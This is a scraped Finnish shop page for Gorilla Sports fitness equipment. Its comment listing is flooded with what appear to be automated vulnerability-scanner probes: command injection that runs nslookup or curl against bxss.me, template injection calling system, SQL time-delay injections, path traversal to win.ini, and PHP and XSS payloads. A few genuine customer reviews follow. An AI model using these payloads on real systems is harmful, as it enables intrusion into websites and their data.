      1

      1

    17. pHqghUme

      1

      1

    18. pHqghUme

      1

      1

    19. pHqghUme

      1

      1

    20. pHqghUme

      1

      1

    21. pHqghUme

      1

      1

    22. response.write(9172225*9051753)

      1

      1

    23. pHqghUme

      1

      1

    24. '+response.write(9172225*9051753)+'

      1

      1

    25. G6zv6XCY

      1

      1

    26. pHqghUme

      1

      1

    27. RnKOlxWd: WEFih6BK

      1

      1

    28. "+response.write(9172225*9051753)+"

      1

      1

    29. pHqghUme

      JV5zNEd7

      1

    30. pHqghUme

      1

      1

    31. pHqghUme

      1

      ../../../../../../../../../../../../../../windows/win.ini

    32. pHqghUme

      1

      1

    33. pHqghUme

      HExukDCq: C67OzHJC

      1

    34. pHqghUme

      1

      echo fnsebq$()\ khpccj\nz^xyu||a #' &echo fnsebq$()\ khpccj\nz^xyu||a #|" &echo fnsebq$()\ khpccj\nz^xyu||a #

    35. pHqghUme

      1

      1

    36. pHqghUme

      1

      1

    37. pHqghUme

      1

      1

    38. pHqghUme

      1

      &echo ijomzs$()\ lwzqfh\nz^xyu||a #' &echo ijomzs$()\ lwzqfh\nz^xyu||a #|" &echo ijomzs$()\ lwzqfh\nz^xyu||a #

    39. pHqghUme

      response.write(9546449*9767799)

      1

    40. pHqghUme

      1

      ../1

    41. pHqghUme

      '+response.write(9546449*9767799)+'

      1

    42. pHqghUme

      1

      1&echo gxabwb$()\ jbvxdx\nz^xyu||a #' &echo gxabwb$()\ jbvxdx\nz^xyu||a #|" &echo gxabwb$()\ jbvxdx\nz^xyu||a #

    43. pHqghUme

      1

      12345'"\'\");|]*{

    44. pHqghUme

      "+response.write(9546449*9767799)+"

      1

    45. pHqghUme

      1

      |echo wbpmdb$()\ kdmefl\nz^xyu||a #' |echo wbpmdb$()\ kdmefl\nz^xyu||a #|" |echo wbpmdb$()\ kdmefl\nz^xyu||a #

    46. pHqghUme

      1

      1

    47. pHqghUme

      1

      1

    48. pHqghUme

      1

      1

    49. pHqghUme

      1

      1|echo nlzdpn$()\ ztipia\nz^xyu||a #' |echo nlzdpn$()\ ztipia\nz^xyu||a #|" |echo nlzdpn$()\ ztipia\nz^xyu||a #

    50. pHqghUme

      1

      1

    51. pHqghUme

      1

      1

    52. pHqghUme

      1

      1

    53. pHqghUme

      1

      1

    54. pHqghUme

      1

      expr 9000202143 - 962366

    55. pHqghUme

      1

      1

    56. pHqghUme

      1

      1

    57. pHqghUme

      1

      1

    58. pHqghUme

      1

      (nslookup -q=cname hitxrqhgprmdxcd9c4.bxss.me||curl hitxrqhgprmdxcd9c4.bxss.me))

    59. pHqghUme

      1

      1

    60. pHqghUme

      1

      1

    61. pHqghUme

      1

      $(nslookup -q=cname hitlwdtahtvzf95940.bxss.me||curl hitlwdtahtvzf95940.bxss.me)

    62. pHqghUme

      1

      &nslookup -q=cname hitysqzzdapyb390e9.bxss.me&'\"`0&nslookup -q=cname hitysqzzdapyb390e9.bxss.me&`'

    63. pHqghUme

      1

      1

    64. pHqghUme

      1

      &(nslookup -q=cname hitsjfewplpvh23a05.bxss.me||curl hitsjfewplpvh23a05.bxss.me)&'\"`0&(nslookup -q=cname hitsjfewplpvh23a05.bxss.me||curl hitsjfewplpvh23a05.bxss.me)&`'

    65. pHqghUme

      1

      ${9999989+9999963}

    66. pHqghUme

      1

      |(nslookup -q=cname hitmstwmvsavi34e47.bxss.me||curl hitmstwmvsavi34e47.bxss.me)

    67. pHqghUme

      1

      1

    68. pHqghUme

      1

      `(nslookup -q=cname hitjnisnpunen7a885.bxss.me||curl hitjnisnpunen7a885.bxss.me)`

    69. pHqghUme

      1

      ;(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)|(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)&(nslookup -q=cname hitiarygpijhx8ed05.bxss.me||curl hitiarygpijhx8ed05.bxss.me)

    70. ${10000466+9999763}

      1

      1

    71. 12345'"\'\");|]*{

      1

      1

    72. pHqghUme

      1

      1

    73. pHqghUme

      1

      1

    74. pHqghUme

      1

      1

    75. pHqghUme

      1

      1

    76. pHqghUme

      ${9999279+10000226}

      1

    77. pHqghUme

      1

      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    78. pHqghUme

      1

      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    79. pHqghUme

      1

      1

    80. pHqghUme

      1

      1

    81. pHqghUme

      12345'"\'\");|]*{

      1

    82. pHqghUme

      1

      c:/windows/win.ini

    83. pHqghUme

      1

      bxss.me

    84. pHqghUme

      1

      1

    85. pHqghUme

      1

      Http://bxss.me/t/fit.txt

    86. pHqghUme

      1

      1

    87. pHqghUme

      1

      http://bxss.me/t/fit.txt?.jpg

    88. pHqghUme

      1

      1

    89. pHqghUme

      1

      1

    90. pHqghUme

      1

      1

    91. pHqghUme

      1

      1

    92. VTNReDZrTzc=

      1

      1

    93. pHqghUme

      1

      1

    94. pHqghUme

      1

      1

    95. pHqghUme

      1

      1

    96. pHqghUme

      1

      1

    97. pHqghUme

      1

      1&n957615=v950048

    98. pHqghUme

      1

      1

    99. pHqghUme

      1

      1

    100. pHqghUme

      1

      1

    101. pHqghUme

      1

      1

    102. pHqghUme

      1

      1

    103. pHqghUme

      1

      1

    104. ../../../../../../../../../../../../../../windows/win.ini

      1

      1

    105. pHqghUme

      1

      1

    106. pHqghUme

      1

      1

    107. pHqghUme&n931249=v970437

      1

      1

    108. pHqghUme

      1

      1

    109. pHqghUme

      1&n998953=v970732

      1

    110. pHqghUme

      1

      1

    111. pHqghUme

      1

      1

    112. pHqghUme

      1

      1

    113. pHqghUme

      1

      1

    114. pHqghUme

      1

      1

    115. ../pHqghUme

      1

      1

    116. pHqghUme

      1

      1

    117. pHqghUme

      1

      1

    118. pHqghUme

      1

      )

    119. pHqghUme

      1

      !(()&&!|*|*|

    120. pHqghUme

      ../../../../../../../../../../../../../../windows/win.ini

      1

    121. pHqghUme

      1

      1

    122. pHqghUme

      1

      ^(#$!@#$)(()))******

    123. pHqghUme

      1

      1

    124. pHqghUme

      1

      1

    125. pHqghUme

      ../1

      1

    126. pHqghUme

      1

      1

    127. pHqghUme

      1

      1

    128. pHqghUme

      1

      1

    129. pHqghUme

      1

      redirtest.acx

    130. pHqghUme

      1

      1

    131. pHqghUme

      1

      1

    132. pHqghUme

      1

      1

    133. pHqghUme

      1

      1

    134. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

      1

      1

    135. pHqghUme

      1

      1

    136. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

      1

      1

    137. pHqghUme

      1

      '"()

    138. )

      1

      1

    139. redirtest.acx

      1

      1

    140. !(()&&!|*|*|

      1

      1

    141. pHqghUme

      redirtest.acx

      1

    142. c:/windows/win.ini

      1

      1

    143. ^(#$!@#$)(()))******

      1

      1

    144. bxss.me

      1

      1

    145. pHqghUme

      )

      1

    146. pHqghUme

      1

      1

    147. pHqghUme

      1

      1

    148. pHqghUme

      !(()&&!|*|*|

      1

    149. Http://bxss.me/t/fit.txt

      1

      1

    150. pHqghUme

      1

      1

    151. echo edbjnc$()\ dvbnph\nz^xyu||a #' &echo edbjnc$()\ dvbnph\nz^xyu||a #|" &echo edbjnc$()\ dvbnph\nz^xyu||a #

      1

      1

    152. pHqghUme

      ^(#$!@#$)(()))******

      1

    153. pHqghUme

      1

      1

    154. &echo jhuqrd$()\ nlzzco\nz^xyu||a #' &echo jhuqrd$()\ nlzzco\nz^xyu||a #|" &echo jhuqrd$()\ nlzzco\nz^xyu||a #

      1

      1

    155. http://bxss.me/t/fit.txt?.jpg

      1

      1

    156. pHqghUme

      1

      1

    157. pHqghUme

      1

      1

    158. pHqghUme&echo zykiqt$()\ guszoa\nz^xyu||a #' &echo zykiqt$()\ guszoa\nz^xyu||a #|" &echo zykiqt$()\ guszoa\nz^xyu||a #

      1

      1

    159. pHqghUme

      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

      1

    160. pHqghUme

      1

      1

    161. |echo kcvphp$()\ suhuuo\nz^xyu||a #' |echo kcvphp$()\ suhuuo\nz^xyu||a #|" |echo kcvphp$()\ suhuuo\nz^xyu||a #

      1

      1

    162. pHqghUme

      1

      1

    163. pHqghUme

      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

      1

    164. pHqghUme

      1

      HttP://bxss.me/t/xss.html?%00

    165. pHqghUme|echo vgnvhu$()\ qgtczo\nz^xyu||a #' |echo vgnvhu$()\ qgtczo\nz^xyu||a #|" |echo vgnvhu$()\ qgtczo\nz^xyu||a #

      1

      1

    166. pHqghUme

      1

      bxss.me/t/xss.html?%00

    167. expr 9000679409 - 937297

      1

      1

    168. pHqghUme

      1

      1

    169. pHqghUme

      c:/windows/win.ini

      1

    170. (nslookup -q=cname hittctcgwfdoj0d557.bxss.me||curl hittctcgwfdoj0d557.bxss.me))

      1

      1

    171. pHqghUme

      1

      1

    172. pHqghUme

      1

      ${@print(md5(31337))}

    173. $(nslookup -q=cname hitgvhcvozlcb8b5fc.bxss.me||curl hitgvhcvozlcb8b5fc.bxss.me)

      1

      1

    174. pHqghUme

      bxss.me

      1

    175. '"()

      1

      1

    176. pHqghUme

      1

      ${@print(md5(31337))}\

    177. &nslookup -q=cname hitovwjxsgwty0b189.bxss.me&'\"`0&nslookup -q=cname hitovwjxsgwty0b189.bxss.me&`'

      1

      1

    178. pHqghUme

      Http://bxss.me/t/fit.txt

      1

    179. pHqghUme

      1

      '.print(md5(31337)).'

    180. pHqghUme

      1

      1

    181. &(nslookup -q=cname hitjjisvcppap3623f.bxss.me||curl hitjjisvcppap3623f.bxss.me)&'\"`0&(nslookup -q=cname hitjjisvcppap3623f.bxss.me||curl hitjjisvcppap3623f.bxss.me)&`'

      1

      1

    182. pHqghUme

      http://bxss.me/t/fit.txt?.jpg

      1

    183. |(nslookup -q=cname hituxnzhsimlc7a7b3.bxss.me||curl hituxnzhsimlc7a7b3.bxss.me)

      1

      1

    184. pHqghUme

      1

      1

    185. HttP://bxss.me/t/xss.html?%00

      1

      1

    186. pHqghUme

      1

      ajax.php

    187. `(nslookup -q=cname hitgqjwhhvdkgbc9af.bxss.me||curl hitgqjwhhvdkgbc9af.bxss.me)`

      1

      1

    188. bxss.me/t/xss.html?%00

      1

      1

    189. pHqghUme

      1

      1

    190. pHqghUme

      '"()

      1

    191. ;(nslookup -q=cname hitwlmyoyponzf2529.bxss.me||curl hitwlmyoyponzf2529.bxss.me)|(nslookup -q=cname hitwlmyoyponzf2529.bxss.me||curl hitwlmyoyponzf2529.bxss.me)&(nslookup -q=cname hitwlmyoyponzf2529.bxss.me||curl hitwlmyoyponzf2529.bxss.me)

      1

      1

    192. pHqghUme

      1

      ajax.php

    193. pHqghUme

      1

      "+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(104).concat(73)+(require"socket" Socket.gethostbyname("hitft"+"gneegmej67aa7.bxss.me.")[3].to_s)+"

    194. pHqghUme

      HttP://bxss.me/t/xss.html?%00

      1

    195. pHqghUme

      1

      ajax.php/.

    196. pHqghUme

      1

      1

    197. pHqghUme

      1

      '+'A'.concat(70-3).concat(22*4).concat(113).concat(87).concat(116).concat(73)+(require'socket' Socket.gethostbyname('hitvx'+'kpgfrtsd21c61.bxss.me.')[3].to_s)+'

    198. pHqghUme

      bxss.me/t/xss.html?%00

      1

    199. pHqghUme

      1

      1

    200. pHqghUme

      1

      'A'.concat(70-3).concat(22*4).concat(116).concat(82).concat(101).concat(73)+(require'socket' Socket.gethostbyname('hitvm'+'mcxulxxi5690a.bxss.me.')[3].to_s)

    201. pHqghUme

      1

      1

    202. pHqghUme

      1

      1

    203. pHqghUme

      1

      1

    204. pHqghUme

      1

      1

    205. pHqghUme

      echo xzgzkd$()\ lecovx\nz^xyu||a #' &echo xzgzkd$()\ lecovx\nz^xyu||a #|" &echo xzgzkd$()\ lecovx\nz^xyu||a #

      1

    206. pHqghUme

      1

      1

    207. pHqghUme

      1

      1

    208. pHqghUme

      1

      1

    209. pHqghUme

      1

      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

    210. pHqghUme

      1

      xfs.bxss.me

    211. pHqghUme

      &echo geendl$()\ ikqeyh\nz^xyu||a #' &echo geendl$()\ ikqeyh\nz^xyu||a #|" &echo geendl$()\ ikqeyh\nz^xyu||a #

      1

    212. pHqghUme

      1

      1

    213. pHqghUme

      1

      1

    214. pHqghUme

      1

      1

    215. pHqghUme

      1&echo yzphnd$()\ hejolk\nz^xyu||a #' &echo yzphnd$()\ hejolk\nz^xyu||a #|" &echo yzphnd$()\ hejolk\nz^xyu||a #

      1

    216. pHqghUme

      |echo xvqmnp$()\ xarjgl\nz^xyu||a #' |echo xvqmnp$()\ xarjgl\nz^xyu||a #|" |echo xvqmnp$()\ xarjgl\nz^xyu||a #

      1

    217. xfs.bxss.me

      1

      1

    218. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

      1

      1

    219. pHqghUme

      1|echo etwtwh$()\ hkcegp\nz^xyu||a #' |echo etwtwh$()\ hkcegp\nz^xyu||a #|" |echo etwtwh$()\ hkcegp\nz^xyu||a #

      1

    220. pHqghUme

      xfs.bxss.me

      1

    221. ajax.php

      1

      1

    222. pHqghUme

      expr 9000211385 - 958734

      1

    223. ajax.php

      1

      1

    224. "+"A".concat(70-3).concat(22*4).concat(101).concat(85).concat(120).concat(80)+(require"socket" Socket.gethostbyname("hitga"+"tezbkulc29239.bxss.me.")[3].to_s)+"

      1

      1

    225. pHqghUme

      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

      1

    226. pHqghUme

      (nslookup -q=cname hitemsofaqndt94ced.bxss.me||curl hitemsofaqndt94ced.bxss.me))

      1

    227. pHqghUme

      1

      1

    228. pHqghUme

      1

      1'"()&%xTkl(9161)

    229. '+'A'.concat(70-3).concat(22*4).concat(108).concat(83).concat(101).concat(89)+(require'socket' Socket.gethostbyname('hitbg'+'podpqxfjc7b1d.bxss.me.')[3].to_s)+'

      1

      1

    230. ajax.php/.

      1

      1

    231. pHqghUme

      $(nslookup -q=cname hitvkjcjrvhwka4f29.bxss.me||curl hitvkjcjrvhwka4f29.bxss.me)

      1

    232. pHqghUme

      1

      1

    233. 'A'.concat(70-3).concat(22*4).concat(102).concat(67).concat(104).concat(77)+(require'socket' Socket.gethostbyname('hitkx'+'guffoult15888.bxss.me.')[3].to_s)

      1

      1

    234. pHqghUme

      1

      {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitvmfgvwttdre210a.bxss.me")}}

    235. pHqghUme

      &nslookup -q=cname hitkmklkaluba5162e.bxss.me&'\"`0&nslookup -q=cname hitkmklkaluba5162e.bxss.me&`'

      1

    236. pHqghUme

      ajax.php

      1

    237. pHqghUme

      1

      '"

    238. pHqghUme

      "+"A".concat(70-3).concat(22*4).concat(102).concat(68).concat(98).concat(66)+(require"socket" Socket.gethostbyname("hitce"+"hmstqwsz9a4cd.bxss.me.")[3].to_s)+"

      1

    239. pHqghUme

      ajax.php

      1

    240. pHqghUme

      1

    241. pHqghUme

      &(nslookup -q=cname hitujgqjlilgff425e.bxss.me||curl hitujgqjlilgff425e.bxss.me)&'\"`0&(nslookup -q=cname hitujgqjlilgff425e.bxss.me||curl hitujgqjlilgff425e.bxss.me)&`'

      1

    242. pHqghUme

      ajax.php/.

      1

    243. pHqghUme

      1

      '"()&%xTkl(9484)

    244. pHqghUme

      1

      1

    245. ${@print(md5(31337))}

      1

      1

    246. pHqghUme

      '+'A'.concat(70-3).concat(22*4).concat(108).concat(86).concat(100).concat(65)+(require'socket' Socket.gethostbyname('hityp'+'gbzcuite0c894.bxss.me.')[3].to_s)+'

      1

    247. pHqghUme

      1

      19979730

    248. pHqghUme

      |(nslookup -q=cname hitzryubnpnww0964f.bxss.me||curl hitzryubnpnww0964f.bxss.me)

      1

    249. pHqghUme

      1

      1

    250. ${@print(md5(31337))}\

      1

      1

    251. pHqghUme

      'A'.concat(70-3).concat(22*4).concat(109).concat(88).concat(121).concat(67)+(require'socket' Socket.gethostbyname('hitqx'+'dafdbvje23977.bxss.me.')[3].to_s)

      1

    252. pHqghUme

      `(nslookup -q=cname hitcloeigdosm82000.bxss.me||curl hitcloeigdosm82000.bxss.me)`

      1

    253. pHqghUme

      1

      bfg6732＜s1﹥s2ʺs3ʹhjl6732

    254. '.print(md5(31337)).'

      1

      1

    255. pHqghUme

      ;(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)|(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)&(nslookup -q=cname hitadexaikgjy4cb5c.bxss.me||curl hitadexaikgjy4cb5c.bxss.me)

      1

    256. pHqghUme

      1

      bfgx1665

    257. pHqghUme

      1

    258. '"

      1

      1

    259. pHqghUme

      1

    260. 1

      1

    261. pHqghUme

      ${@print(md5(31337))}

      1

    262. pHqghUme

      1

      1

    263. pHqghUme

      1

      1}}"}}'}}1%>"%>'%>

    264. pHqghUme

      '"

      1

    265. pHqghUme

      ${@print(md5(31337))}\

      1

    266. pHqghUme

      1

      1

    267. pHqghUme

      1

    268. pHqghUme

      '.print(md5(31337)).'

      1

    269. pHqghUme

      1

      dfb{{98991*97996}}xca

    270. pHqghUme

      1

      1

    271. pHqghUme

      1

      dfb[[${98991*97996}]]xca

    272. pHqghUme

      1

      1

    273. pHqghUme

      1

      dfb__${98991*97996}__::.x

    274. pHqghUme

      1

      1

    275. pHqghUme

      1

      "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    276. pHqghUme

      1

      1

    277. pHqghUme

      1

      1xTkl(9844)

    278. pHqghUme

      1

      1QTIGN[!+!]

    279. pHqghUme

      1

      1

    280. pHqghUme

      1

      1

    281. pHqghUme

      1

      1

    282. pHqghUme

      1

      1

    283. pHqghUme

      1

      1

    284. pHqghUme

      1

      1

    285. pHqghUme

      1

      1

    286. pHqghUme

      1

      1

    287. pHqghUme

      1

      1

    288. pHqghUme

      1

      1

    289. pHqghUme

      1

      1

    290. pHqghUme

      1

      1

    291. pHqghUme

      1

      1

    292. pHqghUme

      1

      1

    293. pHqghUme

      1

      1

    294. pHqghUme

      1

      1

    295. pHqghUme

      1

      1

    296. pHqghUme

      1

      1

    297. pHqghUme

      1

      1

    298. pHqghUme

      1

      1

    299. pHqghUme

      1

      1

    300. pHqghUme

      1

      1

    301. pHqghUme

      1

      1

    302. pHqghUme

      1

      1

    303. pHqghUme

      1

      1

    304. pHqghUme

      1

      1

    305. pHqghUme

      1

      1

    306. pHqghUme

      1

      1

    307. pHqghUme

      1

      1

    308. pHqghUme

      1

      1

    309. pHqghUme

      1

      1

    310. pHqghUme

      1

      1

    311. pHqghUme'"()&%xTkl(9126)

      1

      1

    312. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitoevynmmncyd8c07.bxss.me")}}

      1

      1

    313. '"()&%xTkl(9862)

      1

      1

    314. pHqghUme9151398

      1

      1

    315. bfg1175＜s1﹥s2ʺs3ʹhjl1175

      1

      1

    316. bfgx7093

      1

      1

    317. 1

      1

    318. 1

      1

    319. 1}}"}}'}}1%>"%>'%>

      1

      1

    320. dfb{{98991*97996}}xca

      1

      1

    321. dfb[[${98991*97996}]]xca

      1

      1

    322. dfb__${98991*97996}__::.x

      1

      1

    323. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

      1

      1

    324. pHqghUmexTkl(9977)

      1

      1

    325. pHqghUmeIMDOV[!+!]

      1

      1

    326. pHqghUme

      1'"()&%xTkl(9493)

      1

    327. pHqghUme

      {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitupuhkcxlml50fa7.bxss.me")}}

      1

    328. pHqghUme

      '"()&%xTkl(9997)

      1

    329. pHqghUme

      19560876

      1

    330. pHqghUme

      bfg6147＜s1﹥s2ʺs3ʹhjl6147

      1

    331. pHqghUme

      bfgx8059

      1

    332. pHqghUme

      1

    333. pHqghUme

      1

    334. pHqghUme

      1}}"}}'}}1%>"%>'%>

      1

    335. pHqghUme

      dfb{{98991*97996}}xca

      1

    336. pHqghUme

      dfb[[${98991*97996}]]xca

      1

    337. pHqghUme

      dfb__${98991*97996}__::.x

      1

    338. pHqghUme

      "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

      1

    339. pHqghUme

      1

      1

    340. pHqghUme

      1xTkl(9597)

      1

    341. pHqghUme

      1VPI2R[!+!]

      1

    342. pHqghUme

      1

      1

    343. pHqghUme

      1

      1

    344. pHqghUme

      1

      1

    345. pHqghUme

      1

      1

    346. pHqghUme

      1

      1

    347. pHqghUme

      1

      1

    348. pHqghUme

      1

      1

    349. pHqghUme

      1

      1

    350. pHqghUme

      1

      1

    351. pHqghUme

      1

      1

    352. pHqghUme

      1

      1

    353. pHqghUme

      1

      1

    354. pHqghUme

      1

      1

    355. pHqghUme

      1

      1

    356. pHqghUme

      1

      1

    357. pHqghUme

      1

      -1 OR 5*5=25

    358. pHqghUme

      1

      -1 OR 5*5=26

    359. pHqghUme

      1

      1

    360. pHqghUme

      1

      1'"

    361. pHqghUme

      1

      1

    362. pHqghUme

      1

      @@W8r7t

    363. pHqghUme

      1

      1

    364. pHqghUme

      1

      1

    365. pHqghUme

      1

      1

    366. pHqghUme

      1

      1

    367. pHqghUme

      1

      1

    368. pHqghUme

      1

      1

    369. pHqghUme

      1

      1

    370. pHqghUme

      1

      1

    371. pHqghUme

      1

      1

    372. pHqghUme

      1

      1

    373. pHqghUme

      1

      1

    374. pHqghUme

      1

      1

    375. pHqghUme

      1

      1

    376. pHqghUme

      1

      1

    377. pHqghUme

      1

      1

    378. pHqghUme

      1

      1

    379. pHqghUme

      1

      1

    380. pHqghUme

      1

      1

    381. pHqghUme

      1

      1

    382. pHqghUme

      1

      1

    383. if(now()=sysdate(),sleep(15),0)

      1

      1

    384. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

      1

      1

    385. pHqghUme-1 waitfor delay '0:0:15' --

      1

      1

    386. pHqghUme

      1

      1

    387. pHqghUme'"

      1

      1

    388. pHqghUme

      1

      1

    389. @@qxEXG

      1

      1

    390. (select 198766*667891)

      1

      1

    391. (select 198766*667891 from DUAL)

      1

      1

    392. pHqghUme

      1

      1

    393. pHqghUme

      1

      1

    394. pHqghUme

      1*if(now()=sysdate(),sleep(15),0)

      1

    395. pHqghUme

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

      1

    396. pHqghUme

      1-1; waitfor delay '0:0:15' --

      1

    397. pHqghUme

      1-1); waitfor delay '0:0:15' --

      1

    398. pHqghUme

      1-1 waitfor delay '0:0:15' --

      1

    399. pHqghUme

      1-1 OR 548=(SELECT 548 FROM PG_SLEEP(15))--

      1

    400. pHqghUme

      1-1) OR 125=(SELECT 125 FROM PG_SLEEP(15))--

      1

    401. pHqghUme

      1-1)) OR 354=(SELECT 354 FROM PG_SLEEP(15))--

      1

    402. pHqghUme

      1

      1

    403. pHqghUme

      1'"

      1

    404. pHqghUme

      1

      1

    405. pHqghUme

      @@W3SVW

      1

    406. pHqghUme

      (select 198766*667891)

      1

    407. pHqghUme

      (select 198766*667891 from DUAL)

      1

    1. pHqghUme

      1

      1

    1. pHqghUme

      1

      1

Kommentoi tekstiä:

Arvostelut

Gorilla Sports
4.26 / 5

Jackronin

Nopea toimitus, helppo kasata, tukeva rakenne. Käytössä lähes joka päivä.

Sami

Tutkin kauan minkä smith laitteen ostan ja päädyin tähän onneksi. Tuote on jämäkkä ja toimii todella hyvin, kuin salilaitteet. Kiitos

Matti

Hyvän oloinen. Olisi voinut olla paremmin ilmoitettu että reunapalat myydään erikseen.

Sanna

Materiaali tuntuu hyvälle käytössä ja värit ovat kivat, vaikka ovatkin vähän tummemmat kuin kuvassa. Säilytyssalkku on mielestäni todella hyvä, joten suosittelen tätä settiä jos haluaa säilyttää pieniä painoja siististi ja kätevästi.

Korkki

Muuten tukeva ja jämäkkä mutta 20cm piti leventää

Anynous

Hyvät tukevat nojapuut! Todella tyytyväinen ostokseeni!

Vanha voimalija

Hyvä ja oikean tuotteen oloinen alumiiniseoskahvoilla. Ei voi verrata kauppojen säädettäviin muovirieskoihin.

Kari

Hyvä peruspenkki pieneen tilaan aloittelevalle harrastajalle. Itsellä helpottaa treenausta muiden kiireiden ohella.

Lahjaksi ostettu

Tuote on hyvä siinä ei ole valittamista. Toimitus oli hidasta, ensimmäistä tilausta odotin 1 kk ja selvisi että se oli hukkunut. Toinen tilaus tuli nopeasti. Siitä tuli tähden alennus.